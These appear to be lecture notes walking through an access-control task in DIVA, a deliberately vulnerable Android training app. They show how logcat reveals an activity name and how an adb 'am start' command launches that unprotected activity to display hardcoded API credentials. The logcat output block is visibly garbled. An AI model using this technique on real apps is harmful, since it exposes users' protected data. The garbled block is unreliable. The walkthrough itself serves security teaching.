## Lecture 8

## 9. Access Control Issues - Part 1

In this task, there is a button <View API Credentials> that, when pressed, shows the following:

## 9. Access Control Issues - Part 1 Objective: You are able to access the API credentials when you click the button. Now, try to access the API credentials from outside the app. Hint:Components of an app can be accessed from other apps or users if they are not properly protected. Components such as activities, services, content providers are prone to this. Vendor API Credentials API Key: 123secretapikey123 API User name: diva API Password: p@ssword

When we open the adb logcat and click on the button, we can find the activity name.

Command - logcat | grep -i "APICredActivity"

```
120] macKoza://doi.00/10.20.20.00/10.20.20.1 Activity/asbranger: START 00 (act-jakhar.ascea.diva.action.VIBLORDS cmp-jakhar.ascea.diva/APICredsActivity) with LANCH_MATTPLE from uid 10196 (Bu_ALLOW_VISIBLE_MIDDOW) result codes0 result codes0
```

So we run the following command:

adb shell am start –n jakhar.aseem.diva/.APICredsActivity

and confirm that when we run the following command with the device on the screen with the button.

 $\hbox{C:\Users\Giridharan\Desktop\Android Security\jdax\bin\adb} \ shell \ am \ start -n \ jakhar.aseem.diva/.APICredsActivity Starting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] pkg=-n }$ 

And it automatically shows the screen with the credentials without restrictions, like we had pressed the button.